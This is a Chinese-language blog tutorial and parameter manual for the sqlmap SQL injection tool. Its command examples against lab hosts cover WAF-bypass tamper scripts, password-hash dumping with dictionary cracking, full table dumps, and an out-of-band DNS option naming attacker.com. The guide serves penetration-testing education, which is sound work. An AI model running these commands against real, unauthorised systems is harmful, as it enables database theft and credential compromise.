[网安工具] SQL 注入自动探测工具 —— SQLMAP 使用手册

想了解其它网安工具?看看这个:[网安工具] 网安工具库 —— 工具管理手册

https://github.com/sqlmapproject/sqlmaphttps://github.com/sqlmapproject/sqlmap用法 | sqlmap 用户手册https://sqlmap.highlight.ink/usage

0x01:SQLMAP 工具简介

SQLMap 是一个自动化的 SQL 注入工具,其主要功能是扫描、发现并利用给定 URL 的 SQL 注入漏洞。SQLMAP 的强大功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

0x02:SQLMAP 使用教程

  • SQLMAP — SQLMAP 工具安装

  • SQLMAP 漏洞探测

    • SQLMAP 漏洞探测 —— GET 型注入

    • SQLMAP 漏洞探测 —— POST 型注入

  • SQLMAP 漏洞利用

    • SQLMAP 漏洞利用 —— 获取数据库信息

    • SQLMAP 漏洞利用 —— 网站 GetShell

0x03:SQLMAP 参数手册

语法: python sqlmap.py [OPTIONS]
​
# --level 执行测试的等级(1~5,默认为 1)
#    --level 参数数值 >= 2 时会检查 cookie 字段
#    --level 参数数值 >= 3 时会检查 user-agent 和 referer 字
# --risk  测试 Payload 的风险等级(1~3,默认为 1)
#    --risk 1: 使用安全的 Payload 进行测试
#    --risk 2: 添加基于时间盲注的 Payload 进行测试
#    --risk 3: 添加基于 OR 的布尔盲注 Payload 进行测试
# 笔者备注:SQLMAP 默认的 UA 很明显,建议运行时开启: --random-agent 选项 

0x0301:SQLMAP 辅助参数

OPTIONS 含义 实例
-h, --help 显示基本帮助信息并退出 sqlmap.py -h
-hh 显示高级帮助信息并退出 sqlmap.py -hh
--version 显示程序版本信息并退出 sqlmap.py --version
-v VERBOSE 输出信息详细程度级别(0-6,默认为 1) sqlmap.py -u -v 2

参数详解:-v VERBOSE

参考链接:输出详细等级 | sqlmap 用户手册

该选项用于设置输出信息的详细等级,共有 7 个级别。默认级别为 1。输出的信息包括普通信息、警告、错误、关键信息和 Python 出错回溯信息(如果有的话)。

  • -v 0:只输出 Python 出错回溯信息,错误和关键信息。

  • -v 1:增加输出普通信息和警告信息。

  • -v 2:增加输出调试信息。

  • -v 3:增加输出已注入的 Payloads。

  • -v 4:增加输出 HTTP 请求。

  • -v 5:增加输出 HTTP 响应头。

  • -v 6:增加输出 HTTP 响应内容。

0x0302:SQLMAP 目标格式参数(必选)

至少提供一个以下选项以供 SQLMAP 确定测试目标(笔者只列举常用的命令)。

OPTIONS 含义 实例
-u URL, --url=URL 目标 URL sqlmap.py -u "http://test.com/?id=1&uid=2"
-d DIRECT 可直接连接数据库的地址字符串 sqlmap.py -d "mysql://root:root@localhost:3306/" --dbs
-r REQUESTFILE 从文件中读取 HTTP 请求 sqlmap.py -r POSTDATA.txt
-m BULKFILE 从文本文件中获取批量目标 sqlmap.py -m URLLISTS.txt

参数详解:-d DIRECT

使用该参数可以直接让 SQLMAP 连接目标数据库,并尝试读取内部信息。 DIRECT 的格式有以下两种(下面的 DBMS 代表对应的数据库名称,如 MySQL,就是 mysql):

  • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

    • 该格式适用于:MySQL、Oracle、Microsoft SQL Server、PostgreSQL 等数据库。

  • DBMS://DATABASE_FILEPATH

    • 该格式适用于:SQLite、Microsoft Access、Firebird 等数据库。

0x0303:SQLMAP 请求控制参数

以下选项用于指定 SQLMAP 如何连接目标 URL。

OPTIONS 含义 实例
-A AGENT 设置 HTTP User-Agent 头部值
--random-agent 使用随机的 HTTP User-Agent
-H HEADER 设置额外的 HTTP 头参数
--method=METHOD 强制使用提供的 HTTP 方法 --method=PUT
--data=DATA 使用 POST 发送数据串 --data="id=1"
--param-del 覆盖默认参数分割符(& --data="k=foo;id=1" --param-del=";"
--cookie=COOKIE 指定 HTTP Cookie --cookie="PHPSESSID=a8d127e..."
--cookie-del=CO 设置 Cookie 分割符 --cookie-del=";"
--referer=REFE 指定 HTTP REFERER
--proxy=PROXY 使用代理连接目标 URL
--delay=DELAY 设置每个 HTTP 请求的延迟秒数
--timeout=TIME 设置连接响应的有效秒数(默认为 30)
--retries=RET 连接超时时重试次数(默认为 3)
--skip-urlencode 不对 Payload 数据进行 URL 编码
--csrf-token=CSRF 设置网站用来反 CSRF 攻击的 Token
--csrf-url=CSRFURL 指定可提取防 CSRF 攻击 Token 的 URL
--csrf-method=CSRF 指定访问防 CSRF Token 页面时使用的 HTTP 方法
--csrf-retries=CSRF 指定获取防 CSRF Token 的重试次数(默认为 0)
--force-ssl 强制使用 SSL/HTTPS
--chunked 使用 HTTP 分块传输编码(POST)请求
--hpp 使用 HTTP 参数污染攻击
--eval=EVALCODE 在发起请求前执行给定的 Python 代码

SQLMAP 特性解析:

Cookie 在通信期间的任何时刻,如果 Web 应用程序的响应包含 Set-Cookie 响应头,SQLMAP 将在所有其他 HTTP 请求中自动使用它的值作为 Cookie 的值。SQLMAP 也将自动测试这些值是否存在 SQL 注入漏洞。

该特性可以通过开关 --drop-set-cookie 来关闭(SQLMAP 将会忽略任何 Set-Cookie 响应头)。

0x0304:SQLMAP 性能优化参数

以下选项用于优化 SQLMAP 的性能:

OPTIONS 含义 实例
-o 开启所有优化开关
--predict-alive 预测常用请求的输出
--keep-alive 使用持久的 HTTP(S)连接
--null-connection 仅获取页面大小而非实际的 HTTP 响应
--threads=THREADS 设置 HTTP(S)请求并发最大值(最大为 10)

0x0305:SQLMAP 测试项目参数(了解)

以下选项用于指定要测试的参数,并且提供自定义注入 Payloads 和篡改参数的脚本:

OPTIONS 含义 实例
-p 指定需要测试的参数,与 --level 冲突 -p "id,user-agent"
--skip 指定要跳过的参数 --skip "user-agent"
--param-exclude 用正则表达式排除参数
--dbms=DBMS 指定后端 DBMS 类型
--os=OS 指定后端 DBMS 的操作系统类型 --os="Linux"
--prefix=PREFIX 注入 Payload 的前缀字符串
--suffix=SUFFIX 注入 Payload 的后缀字符串
--tamper=TAMPER 用给定脚本修改注入数据

SQLMAP 参数解析:--prefix & --suffix

当用户已经推测出目标后端的查询语法,并希望利用 SQLMAP 进行辅助测试时,使用这两个参数可以满足我们的需求。

例如,已知目标后端的 SQL 模板如下:

$query = 'select * from users where id=("' . $_GET['id'] . '") LIMIT 0,1';

要检测并利用此 SQL 注入,我们可以直接为 SQLMAP 提供边界样板:

python sqlmap.py -u "http://test.com/?id=1" -p id --prefix "\")" --suffix "AND ('abc'=\"abc"

如上,这将使 SQLMAP 请求最终构成如下查询,以使查询语法正确:

$query = "select * from users where id=("1") [payload] AND ('abc'="abc") LIMIT 0, 1";

SQLMAP 参数解析:--tamper

SQLMAP 在默认情况下除了使用 CHAR() 函数防止出现单引号,没有对注入的数据进行修改。

我们可以利用 --tamper 参数对数据做修改来尝试绕过 WAF 等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过 WAF 的检测规则,其用法如下所示:

python sqlmap.py -u "http://test.com/?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

0x0306:SQLMAP 漏洞检测参数(了解)

以下选项用于自定义检测方式:

OPTIONS 含义 实例
--level=LEVEL 设置测试等级(1-5,默认为 1) --level=5
--risk=RISK 设置测试风险等级(1-3,默认为 1) --risk=3
--string=STRING 用于确定查询结果为真时的字符串
--not-string=NO.. 用于确定查询结果为假时的字符串
--regexp=REGEXP 用于确定查询结果为真时的正则表达式
--code=CODE 用于确定查询结果为真时的 HTTP 状态码 --code=200
--smart 只在使用启发式检测时才进行彻底的测试
--text-only 只根据页面文本内容对比页面 --text-only
--titles 只根据页面标题对比页面 --titles

SQLMAP 参数详解:--level

LEVEL 选项用于指定进行检测的级别。总共有 5 个级别。默认级别为 1,该级别只会进行简单的检测。而如果 LEVEL 为 5 级,SQLMAP 会更详细地对更大范围的 Payloads 和 Boundaries(作为 SQL Payload 的前缀和后缀)进行检测。

该选项不止会影响 SQLMAP 使用的 Payload(data/xml/payloads 文件夹中存放),还会影响到相关的测试注入点:

  • LEVEL 1:测试 GET 与 POST 相关参数。

  • LEVEL 2:测试 HTTP Cookie 参数。

  • LEVEL 3:测试 HTTP UserAgent/Referer 字段值。

总而言之,如果 SQL 注入检测的难度越高,则需要设定越高的 --level 值。

SQLMAP 参数详解:--risk

该选项用于指定即将进行检测的风险程度。总共有三个风险级别:

  • --risk=1:默认状态,对大多数 SQL 注入点而言没有任何风险。

  • --risk=2:在默认状态基础上,添加大量时间型盲注(Time-Based Blind)语句测试。

  • --risk=3:在原基础上添加 OR 类型的布尔盲注(Boolean-Based Blind)测试。

在某些场景下,比如对 UPDATE 语句进行 SQL 注入,注入一个 OR 类型的 Payload 会导致目标数据库的所有记录进行更新,显然这个不是攻击者想要的结果。针对这个场景及其他相关场景,SQLMAP 引入了 --risk 这个选项。通过该选项,用户可以指定检测特定的 Payload,同时用户可以任意选择使用比较危险的操作。

0x0307:SQLMAP 检测技术参数(了解)

以下选项用于调整特定 SQL 注入技术的测试方法:

OPTIONS 含义 实例
--technique=TECH... 使用的 SQL 注入技术,默认为(BEUSTQ --technique=ES
--time-sec=TIMESEC 延迟 DBMS 的响应秒数(默认为 5) --time-sec=3
--union-cols=UCOLS 设置联合查询注入测试的列数目范围(默认为 1-10) --union-cols 12-16
--union-char=UCHAR 设置用于暴力猜解列数的字符(默认为 NULL --union-char 123
--union-from=UFROM 设置联合查询注入 FROM 处用到的表 --union-from=users
--dns-domain=DNS.. 设置用于 DNS 带外攻击的域名 --dns-domain attacker.com
--second-url=SEC.. 设置二次注入响应的结果显示页面的 URL
--second-req=SEC.. 从文件中读取 HTTP 二次请求包并进行测试

SQLMAP 参数详解:--technique

此选项用于指定需要测试的 SQL 注入类型。默认情况下,SQLMAP 会测试它支持的所有类型/技术。

在某些情况下,你可能只想测试一种或几种特定类型的 SQL 注入,这便是该选项存在的作用。

此选项需要一个参数值,该参数是由 BEUSTQ 这样的字符任意组合成的字符串,每个字母代表不同的技术:

  • B:Boolean-based blind SQL Injection(布尔盲注)

  • E:Error-based SQL Injection(报错型盲注)

  • U:UNION query SQL Injection(联合查询注入)

  • S:Stacked queries SQL Injection(堆叠查询注入)

  • T:Time-based blind SQL Injection(时间型盲注)

  • Q:Inline Query Injection(内联查询注入)

注意:当你需要访问文件系统,接管操作系统或者访问 Windows 注册表配置单元时,提供的字符串必须包含代表堆叠查询技术的 S

0x0308:SQLMAP 指纹识别参数

OPTIONS 含义 实例
-f, --fingerprint 执行广泛的 DBMS 版本指纹识别 -f

SQLMAP 参数详解:-f OR --fingerprint

默认 SQLMAP 会自动帮你识别 WEB 应用后端 DBMS 的相关信息。在检测阶段结束并提醒用户进一步选择检测可注入参数的时候,SQLMAP 就会自动识别后端 DBMS 信息,并根据特定的数据库架构采用合适的 SQL 语法、方言和相关查询,进行进一步的攻击测试。

如果你想要采用特定 SQL 方言或者内带特定错误信息等技术展开详细的 DBMS 指纹识别,可以提供 --fingerprint 开关。这样,SQLMAP 则会发起更多的请求,并对 DBMS 版本,甚至是操作系统、系统架构和补丁级别的信息展开指纹收集工作。

如果你想要更加精准的指纹识别结果,可以提供开关 -b 或者 --banner

0x0309:SQLMAP 信息枚举参数(必会)

以下选项用于获取后端 DBMS 的信息,表结构和数据表中的数据:

OPTIONS 含义 实例
-a, --all 获取所有信息、数据(不建议) -a
-b, --banner 获取 DBMS Banner -b
--current-user 获取当前正在执行查询操作的 DBMS 用户名称 --current-user
--current-db 获取当前站点正在使用的数据库名称 --current-db
--hostname 获取 DBMS 服务器的主机名(例如:debian --hostname
--is-dba 探测 DBMS 当前用户是否为 DBA(数据库管理员) --is-dba
--users 枚举出 DBMS 所有用户 --users
--passwords 枚举出 DBMS 所有用户的密码哈希 --passwords
--privileges 枚举出 DBMS 所有用户的权限 --privileges
--roles 枚举出 DBMS 所有用户角色(DBMS 为 Oracle 时有用) --roles
--dbs 枚举出 DBMS 所有数据库 --dbs
--tables 枚举出 DBMS 数据库中的所有数据表 -D sys --tables
--columns 枚举出 DBMS 表中的所有列 -D security -T users --columns
--schema 枚举出 DBMS 所有数据库的模式信息 --schema
--count 获取数据表条目数(数据表中有多少条数据) -D security --count
--dump 导出 DBMS 数据库表项 -T users --dump
--dump-all 导出所有 DBMS 数据库表项 --dump-all
--search 搜索列,表和 / 或数据库名

SQLMAP 参数详解:-b OR --banner

大多数现代 DBMS 具有一个函数或者一个环境变量,它会返回 DBMS 版本,并最终在其补丁级别详细介绍底层系统。通常这个函数是 version(),环境变量是 @@version,这取决于目标 DBMS。

以下是一个针对 ORACLE 目标的示例:

python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner
​
[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

SQLMAP 参数详解:--passwords

如果当前会话用户对包含 DBMS 用户密码信息的系统表有读取权限,则可以枚举每个 DBMS 用户的密码哈希值。

以下是一个针对 PostgreSQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
​
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
 password hash: md5d7d880f96044b72d0bba108ace96d1e4
 clear-text password: testpass
[*] testuser [1]:
 password hash: md599e5ea7a6f7c3269995cba3927fd0093
 clear-text password: testpass

以上例子中,SQLMAP 不仅枚举了 DBMS 的用户及其密码,而且识别出密码哈希格式属于 PostgreSQL,并询问用户是否使用字典文件进行散列测试,并识别出了用户 postgres 的明文密码,它通常是 DBA,被识别出的还有用户 testuser 的密码。

你还可以使用 -U 选项来指定要枚举的特定用户,并破解其对应密码哈希。如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的密码哈希值:

# 获取当前用户密码的哈希值,并爆破其明文密码
python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --passwords -U CU

SQLMAP 参数详解:--tables & --exclude-sysdbs & -D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定 DBMS 的数据表。

如果你不使用选项 -D 来指定数据库,则 SQLMAP 将枚举所有 DBMS 数据库的表。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。

注意:对于 Oracle,你需要提供 TABLESPACE_NAME 而不是数据库的名称。

SQLMAP 参数详解:--columns & -C & -T & -D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定数据表的列名及其对应的数据类型。

此功能可以使用 -T 来指定表名,还可以使用选项 -D 来指定数据库名称。如果未指定数据库名称,则将使用当前的数据库名称。你还可以使用 -C 来指定要枚举的表列名。

注意:对于 PostgreSQL,你需要提供 public 或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举出 WEB 应用程序用户连接到的数据库模式下的表,它们总是以pubilc 为别名。

SQLMAP 参数详解:--dump & --start & --stop & --first & --last & --pivot-column & --where

如果当前会话用户对特定的数据表有读取权限,则可以导出数据表条目。

此功能依赖 -T 来指定表名,还可以用选项 -D 来指定数据库名。如果提供了表名而不提供数据库名,则会使用当前的数据库。

以下是一个使用示例:

python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" -D security -T users --dump
​
[...]
[12:07:27] [INFO] table '`security`.users' dumped to CSV file 'C:\Users\Blue17\AppData\Local\sqlmap\output\localhost\dump\security\users.csv'

此开关也可用于导出指定数据库数据表的所有条目。你只需要提供开关 --dump 和选项 -D(不提供 -T-C)即可。

你还可以使用选项 -C 提供一个以逗号分隔的特定列名列表来导出数据。

SQLMAP 还会为每个表生成相应的 CSV 格式文本文件用于存储导出的数据。你可以通过提供大于或等于 1 的详细程度来查看 SQLMAP 所创建文件的绝对路径。

如果只是想导出特定范围内的条目,可以提供选项 --start 和/或 --stop,以指定从哪条数据开始导出和在哪条数据停止。例如,如果仅导出第一个条目,就在命令行中提供 --stop 1。或者如果你只想导出第二和第三个条目,就提供 --start 2 --stop 3

你还可以使用选项 --first--last 指定要导出的单个字符或特定范围的字符。例如,如果要导出条目的第三到第五个字符,就提供 --first 3 --last 5。此功能仅适用于盲注技术,因为报错型注入(Error-based)和联合查询注入(UNION query-based)技术不管列数据条目的长度如何,发起的请求数量是完全相同的。

有些情况下(例如:对于 Microsoft SQL Server,Sybase 和 SAP MaxDB),由于缺少类似的机制,无法使用 OFFSET m, n 直接导出表的数据。在这种情况下,sqlmap 通过确定最适合的 pivot 列(具有唯一值的列,一般是主键),并使用该列检索其他列值,以此来导出数据。如果因为自动选择的 pivot 列不适用(例如:由于缺少表导出结果)而需要强制使用特定列,你可以使用选项 --pivot-column(例如: --pivot-column=id)。

如果要约束导出特定的列值(或范围),可以使用选项 --where。提供的逻辑运算将自动在 WHERE 子句内使用。例如,如果使用 --where="id>3",那么只有 id 值大于 3 的行会被获取(通过将 WHERE id>3 附加到使用的查询语句中)。

正如你可能已经注意到的,sqlmap 非常灵活:你可以将让其自动导出整个数据库表,或者非常精确地导出特定字符、列和范围的条目。

SQLMAP 参数详解:--dump-all & --exclude-sysdbs

如果当前会话用户的读取权限允许,可以一次导出所有数据库表条目。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。在这种情况下,SQLMAP 只会导出当前用户的数据库表条目。

注意:对于 Microsoft SQL Server,master 数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。

0x04:SQLMAP 问题解决

Bug 描述:can't establish SSL connection

参考链接:sqlmap can't establish SSL connection

问题原因:网站是 HTTPS 的,需要 SSL 证书。

解决方法:添加 --force-ssl 参数和挂 BP 代理。

python sqlmap.py -u "http://xxx.com?xx=xx" --force-ssl --proxy=http://127.0.0.1:8080

0x05:SQLMAP 参考资料

11种常见SQLMAP使用方法详解_sqlmap语法的具体用法-CSDN博客文章浏览阅读2.6w次,点赞12次,收藏65次。一、SQLMAP用于Access数据库注入(1) 猜解是否能注入[AppleScript] 纯文本查看 复制代码?12win:python sqlmap.py -u"http://www.xxx.com/en/CompHonorBig.asp?id=7"Linux:.lmap_sqlmap语法的具体用法https://blog.csdn.net/whatday/article/details/54766536
【SQL注入工具】SQLMap参数详解_sqlmap参数-t-CSDN博客文章浏览阅读4k次,点赞2次,收藏27次。文章目录前言1、基本参数2、显示调试信息3、风险等级4、批量测试多个注入点5、获取http请求注入6、处理Google搜索结果7、以POST方式提交参数8、指定参数连接符9、cookie注入10、referer/headers/proxy11、时间控制12、绕过策略13、手动指定测试参数14、指定参数前后闭合字符15、指定使用哪种探测技术16、UNION查询指定参数17、二阶注入18、搜索指定库/表/列19、--udf-inject/--shared-lib20、日志文件读取与写入21、默认yes22、编码_sqlmap参数-thttps://blog.csdn.net/weixin_44032232/article/details/108365893
sqlmap简要手册 | 狼组安全团队公开知识库https://wiki.wgpsec.org/knowledge/tools/sqlmap.html

你可能感兴趣的:(安全工具,—,网安工具手册,sql,网络,安全,数据库)